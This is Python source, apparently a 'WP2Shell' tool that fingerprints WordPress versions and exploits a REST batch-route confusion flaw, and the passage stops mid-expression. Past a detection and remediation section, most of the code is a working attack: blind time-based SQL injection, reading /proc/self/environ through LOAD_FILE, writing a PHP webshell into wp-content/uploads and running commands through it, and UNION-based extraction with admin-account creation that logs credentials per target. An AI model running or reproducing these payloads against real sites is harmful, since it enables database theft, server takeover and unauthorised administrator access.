\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef _add_evidence(evidence: List[VersionEvidence], version_text: str,\n                  source: str, url: str, confidence: float,\n                  detail: str = \"\") -> None:\n    version = parse_wp_version(version_text)\n    if version is None:\n        return\n    normalized = str(version)\n    key = (normalized, source, url, detail)\n    if any((e.version, e.source, e.url, e.detail) == key for e in evidence):\n        return\n    evidence.append(VersionEvidence(version=normalized, source=source,\n                                    url=url, confidence=confidence,\n                                    detail=detail))\n\n\ndef extract_version_evidence(response: HttpResult, source_hint: str) -> List[VersionEvidence]:\n    text = response.text()\n    result: List[VersionEvidence] = []\n    url = response.final_url\n\n    for tag_match in re.finditer(r\"]*>\", text, re.I | re.S):\n        tag = html.unescape(tag_match.group(0))\n        name = re.search(r\"\\bname\\s*=\\s*['\\\"]generator['\\\"]\", tag, re.I)\n        content = re.search(r\"\\bcontent\\s*=\\s*['\\\"]([^'\\\"]+)['\\\"]\", tag, re.I)\n        if name and content:\n            wp = re.search(r\"\\bWordPress\\s+([^\\s'\\\"<>]+)\", content.group(1), re.I)\n            if wp:\n                _add_evidence(result, wp.group(1), \"meta-generator\", url, 0.98)\n\n    for match in re.finditer(r\"wordpress\\.org/\\?v=([^<\\s'\\\"&]+)\", text, re.I):\n        _add_evidence(result, match.group(1), \"feed-generator\", url, 0.98)\n\n    if source_hint == \"readme\":\n        for pattern in (r\"\\bVersion\\s+([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)\",\n                        r\"\\s*Version\\s+([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)\"):\n            match = re.search(pattern, text, re.I)\n            if match:\n                _add_evidence(result, match.group(1), \"readme\", url, 0.90)\n\n    assets = re.findall(\n        r\"(?:wp-includes|wp-admin)/[^\\s'\\\"<>?#]+\\?[^\\s'\\\"<>#]*\\bver=([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)\",\n        html.unescape(text), re.I,\n    )\n    counts = Counter(assets)\n    for version_text, count in counts.items():\n        confidence = 0.70 if count >= 2 else 0.55\n        _add_evidence(result, version_text, \"core-asset-query\", url, confidence,\n                      f\"observed {count} core asset(s)\")\n\n    for header_name in (\"x-generator\", \"generator\"):\n        header_value = response.headers.get(header_name, \"\")\n        match = re.search(r\"\\bWordPress\\s+([^\\s;]+)\", header_value, re.I)\n        if match:\n            _add_evidence(result, match.group(1), \"http-generator-header\", url, 0.90)\n\n    return result\n\n\ndef wordpress_signals(response: HttpResult) -> Tuple[float, List[str]]:\n    text = response.text().lower()\n    headers = {k.lower(): v.lower() for k, v in response.headers.items()}\n    score = 0.0\n    signals: List[str] = []\n\n    if \"wp-content/\" in text:\n        score += 0.35\n        signals.append(\"wp-content\")\n    if \"wp-includes/\" in text:\n        score += 0.35\n        signals.append(\"wp-includes\")\n    if \"wordpress\" in text and \"generator\" in text:\n        score += 0.35\n        signals.append(\"generator\")\n    if \"api.w.org\" in headers.get(\"link\", \"\") or \"api.w.org\" in text:\n        score += 0.25\n        signals.append(\"rest-link\")\n    if response.headers.get(\"x-pingback\"):\n        score += 0.15\n        signals.append(\"x-pingback\")\n\n    try:\n        parsed = json.loads(response.text())\n    except (json.JSONDecodeError, TypeError):\n        parsed = None\n    if isinstance(parsed, dict):\n        if isinstance(parsed.get(\"namespaces\"), list) and isinstance(parsed.get(\"routes\"), dict):\n            score += 0.70\n            signals.append(\"wp-rest-index-shape\")\n        if \"wp/v2\" in parsed.get(\"namespaces\", []):\n            score += 0.25\n            signals.append(\"wp-v2-namespace\")\n\n    return min(score, 1.0), signals\n\n\ndef parse_rest_index(response: HttpResult) -> Tuple[Optional[bool], bool]:\n    try:\n        data = json.loads(response.text())\n    except (json.JSONDecodeError, TypeError):\n        return None, False\n    if not isinstance(data, dict) or not isinstance(data.get(\"routes\"), dict):\n        return None, False\n    routes = data[\"routes\"]\n    return \"/batch/v1\" in routes, True\n\n\ndef select_version(evidence: Sequence[VersionEvidence]) -> Tuple[Optional[WPVersion], float, bool]:\n    if not evidence:\n        return None, 0.0, False\n    scores: Dict[str, float] = {}\n    max_confidence: Dict[str, float] = {}\n    sources: Dict[str, Set[str]] = {}\n    for item in evidence:\n        scores[item.version] = scores.get(item.version, 0.0) + item.confidence\n        max_confidence[item.version] = max(max_confidence.get(item.version, 0.0),\n                                           item.confidence)\n        sources.setdefault(item.version, set()).add(item.source)\n    selected_text = max(scores, key=lambda v: (scores[v], max_confidence[v],\n                                               len(sources[v]), v))\n    conflict = len(scores) > 1\n    confidence = max_confidence[selected_text]\n    if len(sources[selected_text]) >= 2:\n        confidence = min(1.0, confidence + 0.02)\n    if conflict:\n        confidence = max(0.0, confidence - 0.15)\n    return parse_wp_version(selected_text), confidence, conflict\n\n\ndef _response_body(entry: Any) -> Any:\n    if isinstance(entry, dict):\n        return entry.get(\"body\")\n    return None\n\n\ndef analyze_active_probe(response: HttpResult) -> ActiveProbeResult:\n    result = ActiveProbeResult(attempted=True, endpoint=response.requested_url,\n                               http_status=response.status,\n                               elapsed_ms=response.elapsed_ms,\n                               error=response.error)\n\n    if response.status is None:\n        result.result = \"transport-error\"\n        result.explanation = response.error or \"No HTTP response was received.\"\n        return result\n\n    try:\n        data = json.loads(response.text())\n    except json.JSONDecodeError:\n        result.result = \"indeterminate\"\n        result.explanation = \"The endpoint did not return a JSON batch response.\"\n        return result\n\n    if not isinstance(data, dict) or not isinstance(data.get(\"responses\"), list):\n        code = data.get(\"code\") if isinstance(data, dict) else None\n        result.result = \"blocked-or-unavailable\"\n        result.explanation = (f\"Batch endpoint returned top-level REST error {code!r}.\"\n                              if code else\n                              \"Response did not have the WordPress batch envelope.\")\n        return result\n\n    responses = data[\"responses\"]\n    if len(responses) < 2:\n        result.result = \"indeterminate\"\n        result.explanation = \"Batch envelope contained fewer responses than the safe probe sent.\"\n        return result\n\n    first_body = _response_body(responses[0])\n    first_parse_error = (isinstance(first_body, dict)\n                         and first_body.get(\"code\") == \"parse_path_failed\")\n    second = responses[1] if isinstance(responses[1], dict) else {}\n    second_body = _response_body(second)\n    second_status = second.get(\"status\") if isinstance(second, dict) else None\n    nested_batch = (first_parse_error and second_status == 207\n                    and isinstance(second_body, dict)\n                    and isinstance(second_body.get(\"responses\"), list))\n\n    if nested_batch:\n        result.result = \"route-confusion-observed\"\n        result.vulnerable_signal = True\n        result.explanation = (\"The request addressed to the invalid post ID was \"\n                              \"executed as the following batch route, and the \"\n                              \"nested public GET ran.\")\n        return result\n\n    patched_error_codes = {\n        \"rest_post_invalid_id\", \"rest_cannot_edit\", \"rest_cannot_create\",\n        \"rest_forbidden\", \"rest_missing_callback_param\", \"rest_batch_not_allowed\",\n    }\n    second_code = second_body.get(\"code\") if isinstance(second_body, dict) else None\n    if first_parse_error and (second_code in patched_error_codes\n                              or second_status in {400, 401, 403, 404}):\n        result.result = \"route-confusion-not-observed\"\n        result.patched_signal = True\n        result.explanation = \"The malformed entry remained aligned with its own match.\"\n        return result\n\n    result.result = \"indeterminate\"\n    result.explanation = \"A WordPress batch response was received, but did not match expected patterns.\"\n    return result\n\n\ndef _record_request(result: ScanResult, response: HttpResult, enabled: bool) -> None:\n    if enabled:\n        result.requests.append(response.as_summary())\n\n\ndef _safe_remediation() -> str:\n    return (\"Update WordPress core to 6.9.5 or 7.0.2 (or a later supported \"\n            \"release). Until patched, block unauthenticated POST access to \"\n            \"both /wp-json/batch/v1 and /?rest_route=/batch/v1.\")\n\n\ndef finalize_scan_result(result: ScanResult) -> None:\n    version = parse_wp_version(result.selected_version)\n    assessment, version_verdict, version_severity, version_summary = assess_version(version)\n    result.version_assessment = assessment\n    active = result.active_probe\n\n    if active.vulnerable_signal:\n        result.verdict = \"CONFIRMED_VULNERABLE_BEHAVIOR\"\n        result.severity = \"critical\"\n        result.summary = (f\"The safe active probe confirmed the request/route \"\n                          f\"desynchronization associated with {CVE_ROUTE_CONFUSION}.\")\n        if result.selected_version:\n            result.summary += f\" Fingerprinted version: {result.selected_version}.\"\n        result.remediation = _safe_remediation()\n        return\n\n    if version_verdict == \"LIKELY_VULNERABLE\":\n        if active.patched_signal:\n            result.verdict = \"AFFECTED_VERSION_BUT_BEHAVIOR_NOT_OBSERVED\"\n            result.severity = \"high\"\n            result.summary = (\"The exposed version is in the affected range, but the \"\n                              \"route-confusion behavior was not observed.\")\n        else:\n            result.verdict = version_verdict\n            result.severity = version_severity\n            result.summary = version_summary\n        result.remediation = _safe_remediation()\n        return\n\n    if version_verdict == \"VULNERABLE_SQLI_ONLY\":\n        result.verdict = version_verdict\n        result.severity = version_severity\n        result.summary = version_summary\n        result.remediation = (\"Update the 6.8 branch to WordPress 6.8.6 or move to \"\n                              \"a later supported release.\")\n        return\n\n    if version is not None:\n        result.verdict = version_verdict\n        result.severity = version_severity\n        result.summary = version_summary\n        if version_verdict in {\"PATCHED_VERSION\", \"NOT_AFFECTED\"}:\n            result.remediation = \"No WP2Shell-specific action is required.\"\n        else:\n            result.remediation = (\"Confirm the installed release against the \"\n                                  \"current WordPress security advisory and keep \"\n                                  \"core fully updated.\")\n        return\n\n    if result.wordpress_detected and result.batch_route_exposed:\n        result.verdict = \"POTENTIALLY_EXPOSED_VERSION_UNKNOWN\"\n        result.severity = \"high\"\n        result.summary = (\"WordPress and its batch route were detected, but the \"\n                          \"core version is hidden.\")\n        result.remediation = _safe_remediation()\n    elif result.wordpress_detected:\n        result.verdict = \"WORDPRESS_VERSION_UNKNOWN\"\n        result.severity = \"medium\"\n        result.summary = \"WordPress was detected, but version could not be determined.\"\n        result.remediation = \"Verify locally with wp core version.\"\n    elif result.errors:\n        result.verdict = \"ERROR\"\n        result.severity = \"info\"\n        result.summary = \"The target could not be assessed reliably.\"\n        result.remediation = \"Review the recorded transport/HTTP errors.\"\n    else:\n        result.verdict = \"NOT_WORDPRESS_OR_NOT_DETECTED\"\n        result.severity = \"info\"\n        result.summary = \"No reliable WordPress signature was detected.\"\n        result.remediation = \"None.\"\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  SQLI VALIDATION + TIMING TEST\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef validate_categories_sqli_response(response: HttpResult) -> Tuple[bool, str]:\n    if response.status != 207:\n        return False, f\"outer HTTP status {response.status} (expected 207)\"\n    content_type = response.headers.get(\"content-type\", \"\")\n    if \"application/json\" not in content_type.lower():\n        return False, \"not JSON content\"\n    try:\n        data = json.loads(response.text())\n    except json.JSONDecodeError:\n        return False, \"invalid JSON\"\n    if not isinstance(data, dict) or \"responses\" not in data:\n        return False, \"missing outer 'responses' array\"\n    outer_responses = data[\"responses\"]\n    if not isinstance(outer_responses, list) or len(outer_responses) < 2:\n        return False, \"too few outer responses\"\n\n    first_outer = outer_responses[0]\n    first_body = first_outer.get(\"body\") if isinstance(first_outer, dict) else None\n    if not (isinstance(first_body, dict)\n            and first_body.get(\"code\") == \"parse_path_failed\"):\n        return False, \"first outer not parse_path_failed\"\n\n    second_outer = outer_responses[1]\n    if not isinstance(second_outer, dict):\n        return False, \"second outer not an object\"\n    inner_body = second_outer.get(\"body\")\n    if not isinstance(inner_body, dict) or \"responses\" not in inner_body:\n        return False, \"inner batch missing\"\n    inner_responses = inner_body[\"responses\"]\n    if not isinstance(inner_responses, list) or len(inner_responses) < 3:\n        return False, \"inner batch too few responses (need at least 3)\"\n\n    inner_first_body = _response_body(inner_responses[0])\n    if not (isinstance(inner_first_body, dict)\n            and inner_first_body.get(\"code\") == \"parse_path_failed\"):\n        return False, \"inner first not parse_path_failed\"\n\n    inner_second = inner_responses[1] if isinstance(inner_responses[1], dict) else {}\n    inner_second_status = inner_second.get(\"status\")\n    if not isinstance(inner_second_status, int) or not 200 <= inner_second_status < 300:\n        return False, f\"inner SQLi request status {inner_second_status} (expected 2xx)\"\n    return True, \"ok\"\n\n\ndef _perform_timing_test(client: HttpClient, batch_url: str,\n                         delay_seconds: int = 2, num_samples: int = 4,\n                         warmups: int = 2, debug: bool = False\n                         ) -> Tuple[List[float], List[float], List[str]]:\n    false_times: List[float] = []\n    true_times: List[float] = []\n    debug_msgs: List[str] = []\n\n    for i in range(warmups):\n        if debug:\n            debug_msgs.append(f\"[DEBUG] warm-up {i+1}/{warmups}\")\n        probe = build_timing_probe(delay_seconds, true=False)\n        resp = client.request(\"POST\", batch_url, json_body=probe,\n                              headers={\"X-WP2Shell-Detector\": \"timing\"},\n                              retry=False)\n        valid, reason = validate_categories_sqli_response(resp)\n        if debug:\n            debug_msgs.append(f\"[DEBUG] warm-up valid: {valid}, reason: {reason}\")\n\n    pairs = [(\"false\", False), (\"true\", True)] * num_samples\n    for idx, (label, true_cond) in enumerate(pairs):\n        if debug:\n            debug_msgs.append(f\"[DEBUG] sending {label} request {idx+1}/{len(pairs)}\")\n        probe = build_timing_probe(delay_seconds, true=true_cond)\n        resp = client.request(\"POST\", batch_url, json_body=probe,\n                              headers={\"X-WP2Shell-Detector\": \"timing\"},\n                              retry=False)\n        elapsed = resp.elapsed_ms / 1000.0\n        valid, reason = validate_categories_sqli_response(resp)\n        if debug:\n            debug_msgs.append(f\"[DEBUG]   HTTP {resp.status}, elapsed {elapsed:.3f}s, \"\n                              f\"valid: {valid} ({reason})\")\n        if valid:\n            if label == \"false\":\n                false_times.append(elapsed)\n            else:\n                true_times.append(elapsed)\n    return false_times, true_times, debug_msgs\n\n\ndef _classify_timing_result(false_times: List[float], true_times: List[float],\n                            delay_seconds: float = 2.0) -> SqliProbeResult:\n    res = SqliProbeResult(attempted=True)\n\n    if len(false_times) < 3 or len(true_times) < 3:\n        res.result = \"inconclusive\"\n        res.explanation = (f\"Insufficient valid measurements \"\n                           f\"(false: {len(false_times)}, true: {len(true_times)})\")\n        res.false_count = len(false_times)\n        res.true_count = len(true_times)\n        return res\n\n    false_median = statistics.median(false_times)\n    true_median = statistics.median(true_times)\n    diff = true_median - false_median\n\n    min_diff = max(delay_seconds * 0.60, 0.75)\n    delayed_count = sum(1 for t in true_times if (t - false_median) >= min_diff)\n    required_delayed = max(3, int(len(true_times) * 0.75))\n\n    res.false_count = len(false_times)\n    res.true_count = len(true_times)\n    res.false_median = round(false_median, 3)\n    res.true_median = round(true_median, 3)\n    res.difference = round(diff, 3)\n\n    if diff >= min_diff and delayed_count >= required_delayed:\n        res.result = \"vulnerable\"\n        res.vulnerable_signal = True\n        res.patched_signal = False\n        res.explanation = (f\"True-condition requests show a repeatable delay \"\n                           f\"(~{diff:.3f}s) absent from false controls.\")\n    else:\n        res.result = \"not-observed\"\n        res.vulnerable_signal = False\n        res.patched_signal = False\n        res.explanation = (f\"No consistent timing differential \"\n                           f\"(median diff {diff:.3f}s, delayed true samples \"\n                           f\"{delayed_count}/{len(true_times)}).\")\n    return res\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  BLIND EXTRACTION\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef _bool_condition(sql: str, delay: int = 1) -> str:\n    return f\"0) AND (SELECT 1 FROM (SELECT IF(({sql}),SLEEP({delay}),0))x)-- -\"\n\n\ndef _match_count(resp: HttpResult) -> Optional[int]:\n    try:\n        data = json.loads(resp.text())\n        inner = data[\"responses\"][1][\"body\"][\"responses\"][1]\n        headers = inner.get(\"headers\") or {}\n        total = headers.get(\"X-WP-Total\")\n        return int(total) if total is not None else None\n    except (KeyError, IndexError, TypeError, ValueError, json.JSONDecodeError):\n        return None\n\n\ndef _test_bool(client: HttpClient, batch_url: str, condition: str,\n               delay: int = 1, debug: bool = False) -> bool:\n    probe = build_route_confusion_sqli_probe(f\"-1) AND ({condition})-- -\")\n    resp = client.request(\"POST\", batch_url, json_body=probe,\n                          headers={\"X-WP2Shell-Exploit\": \"extract\"},\n                          retry=False)\n    count = _match_count(resp)\n    if count is not None:\n        result = count > 0\n        if debug:\n            print(f\"    {lav('[oracle]')} {condition[:50]:<50} -> total={count} \"\n                  f\"{green('TRUE') if result else red('FALSE')}\", file=sys.stderr)\n        return result\n\n    elapsed = resp.elapsed_ms / 1000.0\n    result = elapsed >= (delay * 0.8)\n    if debug:\n        print(f\"    {lav('[timing]')} {condition[:50]:<50} -> {elapsed:.3f}s \"\n              f\"{green('TRUE') if result else red('FALSE')}\", file=sys.stderr)\n    return result\n\n\ndef _extract_string(client: HttpClient, batch_url: str, query: str,\n                    max_len: int = 64, delay: int = 1,\n                    debug: bool = False) -> str:\n    result = \"\"\n    for pos in range(1, max_len + 1):\n        low, high = 0, 127\n        while low < high:\n            mid = (low + high + 1) // 2\n            cond = f\"ASCII(SUBSTRING(({query}),{pos},1)) >= {mid}\"\n            if _test_bool(client, batch_url, cond, delay=delay, debug=debug):\n                low = mid\n            else:\n                high = mid - 1\n        if low == 0:\n            break\n        result += chr(low)\n        if debug:\n            print(f\"  [{pos:02d}] {violet(result)}\", file=sys.stderr)\n    return result\n\n\nclass _BudgetExhausted(Exception):\n    pass\n\n\ndef _spend(budget):\n    if budget is not None:\n        if budget[0] <= 0:\n            raise _BudgetExhausted()\n        budget[0] -= 1\n\n\ndef _check_load_file(client, batch_url, path, delay=1, debug=False, budget=None):\n    _spend(budget)\n    cond = f\"SELECT LOAD_FILE('{path}') IS NOT NULL\"\n    return _test_bool(client, batch_url, cond, delay=delay, debug=debug)\n\n\ndef _extract_env_var(client, batch_url, var_name, delay=1, debug=False, budget=None):\n    def t(cond):\n        _spend(budget)\n        return _test_bool(client, batch_url, cond, delay=delay, debug=debug)\n\n    for environ_path in [\"/proc/self/environ\", \"/proc/1/environ\"]:\n        if not _check_load_file(client, batch_url, environ_path,\n                                delay=delay, debug=debug, budget=budget):\n            if debug:\n                print(f\"    LOAD_FILE('{environ_path}') returned NULL\",\n                      file=sys.stderr)\n            continue\n\n        if debug:\n            print(f\"    Reading {environ_path} ...\", file=sys.stderr)\n\n        find_sql = (f\"SELECT LOCATE('{var_name}=', \"\n                    f\"LOAD_FILE('{environ_path}'))\")\n        low, high = 0, 2000\n        while low < high:\n            mid = (low + high + 1) // 2\n            cond = f\"({find_sql}) >= {mid}\"\n            if t(cond):\n                low = mid\n            else:\n                high = mid - 1\n        if low == 0:\n            continue\n        start_pos = low\n\n        value = \"\"\n        for i in range(120):\n            char_pos = start_pos + len(var_name) + 1 + i\n            cond = (f\"ORD(SUBSTRING(LOAD_FILE('{environ_path}'),\"\n                    f\"{char_pos},1)) = 0\")\n            if t(cond):\n                break\n            lo, hi = 32, 126\n            while lo < hi:\n                mid = (lo + hi + 1) // 2\n                cond2 = (f\"ORD(SUBSTRING(LOAD_FILE('{environ_path}'),\"\n                         f\"{char_pos},1)) >= {mid}\")\n                if t(cond2):\n                    lo = mid\n                else:\n                    hi = mid - 1\n            if lo < 32:\n                break\n            value += chr(lo)\n            if debug:\n                print(f\"    {var_name}[{i+1}] {value}\", file=sys.stderr)\n        return value\n    return None\n\n\ndef _emit_exploit_output(output_path: Optional[str], content: str) -> None:\n    if output_path:\n        Path(output_path).write_text(content, encoding=\"utf-8\")\n    else:\n        print(content)\n\n\ndef _write_and_check_shell(client, batch_url, base, shell_path, cmd,\n                           output_path=None) -> bool:\n    try:\n        priv = _union_read(client, batch_url, \"SELECT @@secure_file_priv\")\n    except Exception:\n        priv = None\n\n    if priv is None:\n        print(red(\"[-]\") + \" secure_file_priv NULL: INTO OUTFILE indisponivel.\")\n        return False\n    if priv and priv != \"\":\n        print(red(\"[-]\") + f\" secure_file_priv={priv}: escrita fora dele bloqueada.\")\n        return False\n\n    php_code = \"\"\n    payload = (f\"0) OR (SELECT 0x{php_code.encode().hex()} \"\n               f\"INTO OUTFILE '{shell_path}') IS NOT NULL-- -\")\n    probe = build_route_confusion_sqli_probe(payload)\n    resp = client.request(\"POST\", batch_url, json_body=probe,\n                          headers={\"X-WP2Shell-Exploit\": \"write-shell\"},\n                          retry=False)\n    if resp.status != 207:\n        print(red(\"[-]\") + f\" Shell write request failed (HTTP {resp.status}).\")\n        return False\n\n    shell_url = urllib.parse.urljoin(base, \"wp-content/uploads/ws.php\")\n    check_resp = client.request(\"GET\", f\"{shell_url}?c=id\")\n    if check_resp.status == 200 and \"uid=\" in check_resp.text():\n        print(mint(\"[+]\") + \" Webshell active.\")\n        resp2 = client.request(\"GET\", f\"{shell_url}?c={urllib.parse.quote(cmd)}\")\n        if resp2.status == 200:\n            _emit_exploit_output(output_path, resp2.text())\n            return True\n    print(red(\"[-]\") + \" Webshell not accessible.\")\n    return False\n\n\ndef _try_outfile_root(client, batch_url, base, cmd, root_hint, output_path=None) -> bool:\n    idx = root_hint.find(\"/wp-content\")\n    if idx == -1:\n        return False\n    root = root_hint[:idx]\n    shell_path = root + \"/wp-content/uploads/ws.php\"\n    print(cyan(\"[*]\") + f\" Trying INTO OUTFILE em {shell_path} ...\")\n    return _write_and_check_shell(client, batch_url, base, shell_path,\n                                   cmd, output_path)\n\n\ndef _direct_shell_write(client, base, batch_url, cmd, debug=False,\n                        output_path: Optional[str] = None, delay=1.0,\n                        budget: Optional[List[int]] = None):\n    if budget is None:\n        budget = [120]\n    print(cyan(\"[*]\") + f\" Extracting DOCUMENT_ROOT from /proc/self/environ... \"\n          f\"(delay={delay}s, budget={budget[0]} req)\")\n    try:\n        doc_root = _extract_env_var(client, batch_url, \"DOCUMENT_ROOT\",\n                                     delay=delay, debug=debug, budget=budget)\n    except _BudgetExhausted:\n        print(red(\"[-]\") + \" Request budget exhausted (FILE priv presente mas \"\n              \"extracao lenta demais).\")\n        print(red(\"[-]\") + \" Direct write failed.\")\n        return False\n    if not doc_root:\n        print(red(\"[-]\") + \" Could not determine DOCUMENT_ROOT via LOAD_FILE. \"\n              \"Trying alternative method...\")\n        print(red(\"[-]\") + \" Direct write failed.\")\n        return False\n\n    print(mint(\"[+]\") + f\" DOCUMENT_ROOT = {doc_root}\")\n    shell_path = doc_root.rstrip('/') + \"/wp-content/uploads/ws.php\"\n    print(cyan(\"[*]\") + f\" Writing shell to {shell_path} ...\")\n    return _write_and_check_shell(client, batch_url, base, shell_path,\n                                   cmd, output_path)\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  UNION-BASED EXTRACTION / ADMIN CREATION\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n_DESYNC_PRIMER = {\"method\": \"POST\", \"path\": \"///\"}\n_POSTS_ITEM_SOURCE = \"/wp/v2/posts/999999\"\n_POST_DATE = \"2020-01-01 00:00:00\"\n_OEMBED_SIZE = 'a:2:{s:5:\"width\";s:3:\"500\";s:6:\"height\";s:3:\"750\";}'\n_NAV_URL = \"https://example.invalid/\"\n_PREFIXES = (\"wp_\", \"wp1_\", \"wp2_\", \"wpx_\", \"wpdev_\", \"wordpress_\", \"site_\", \"blog_\")\n_UNION_RE = re.compile(r\"\\|\\|([0-9A-Fa-f]*)\\|\\|\")\n_ADMIN_LOG = \"admins.txt\"\n_admin_log_lock = threading.Lock()\n\n\ndef _log_admin(target: str, username: str, password: str) -> None:\n    with _admin_log_lock:\n        try:\n            with open(_ADMIN_LOG, \"a\", encoding=\"utf-8\", errors=\"replace\") as f:\n                f.write(f\"{target} | {username}:{password} | admin-only\\n\")\n        except OSError:\n            pass\n\n\ndef _mysql_hex(text: str) -> str:\n    return f\"0x{text.encode().hex()}\" if text else \"''\"\n\n\ndef _wp_posts_tuple(row_id: int, *, body: str = \"\", title: str = \"\",\n                    status: str = \"publish\", slug: str = \"\", parent: int = 0,\n                    kind: str = \"post\", author: int = 1) -> str:\n    cols = [\n        str(row_id), str(author),\n        _mysql_hex(_POST_DATE), _mysql_hex(_POST_DATE),\n        _mysql_hex(body), _mysql_hex(title), \"''\",\n        _mysql_hex(status), _mysql_hex(\"closed\"), _mysql_hex(\"closed\"),\n        \"''\", _mysql_hex(slug), \"''\", \"''\",\n        _mysql_hex(_POST_DATE), _mysql_hex(_POST_DATE), \"''\",\n        str(parent), \"''\", \"0\", _mysql_hex(kind), \"''\", \"0\",\n    ]\n    return \",\".join(cols)\n\n\ndef _union_read(client: HttpClient, batch_url: str,\n                expression: str) -> Optional[str]:\n    cols = []\n    for i in range(1, 24):\n        if i == 1:\n            cols.append(\"999999\")\n        elif i in (3, 4, 15, 16):\n            cols.append(_mysql_hex(_POST_DATE))\n        elif i == 6:\n            cols.append(f\"CONCAT(0x7c7c,HEX(CAST(({expression}) AS CHAR)),0x7c7c)\")\n        elif i == 8:\n            cols.append(_mysql_hex(\"publish\"))\n        elif i == 21:\n            cols.append(_mysql_hex(\"post\"))\n        else:\n            cols.append(str(i))\n    payload = \"1) AND 1=0 UNION SELECT \" + \",\".join(cols) + \"-- -\"\n    query = urllib.parse.urlencode(\n        {\"author_exclude\": payload, \"orderby\": \"none\", \"per_page\": \"500\"}\n    )\n    inner = {\n        \"requests\": [\n            _DESYNC_PRIMER,\n            {\"method\": \"GET\", \"path\": _POSTS_ITEM_SOURCE + \"?\" + query},\n            {\"method\": \"GET\", \"path\": \"/wp/v2/posts\"},\n        ]\n    }\n    outer = {\n        \"requests\": [\n            _DESYNC_PRIMER,\n            {\"method\": \"POST\", \"path\": \"/wp/v2/posts\", \"body\": inner},\n            {\"method\": \"POST\", \"path\": \"/batch/v1\", \"body\": {\"requests\": []}},\n        ]\n    }\n    resp = client.request(\"POST\", batch_url, json_body=outer, retry=False)\n    m = _UNION_RE.search(resp.text())\n    if not m:\n        return None\n    digits = m.group(1)\n    if len(digits) % 2:\n        digits = digits[:-1]\n    try:\n        return bytes.fromhex(digits).decode(\"utf-8\", \"replace\")\n    except ValueError:\n        return None\n\n\ndef _union_integer(client: HttpClient, batch_url: str, expression: str) -> int:\n    text = (_union_read(client, batch_url, expression) or \"\").strip()\n    if not text.lstrip(\"-\").isdigit():\n        raise ValueError(f\"expected integer, got {text!r}\")\n    return int(text)\n\n\ndef _render_union_posts(client: HttpClient, batch_url: str,\n                        post_rows: List[str],\n                        tail_requests: Optional[List[Dict[str, Any]]] = None) -> None:\n    union_payload = (\"1) AND 1=0 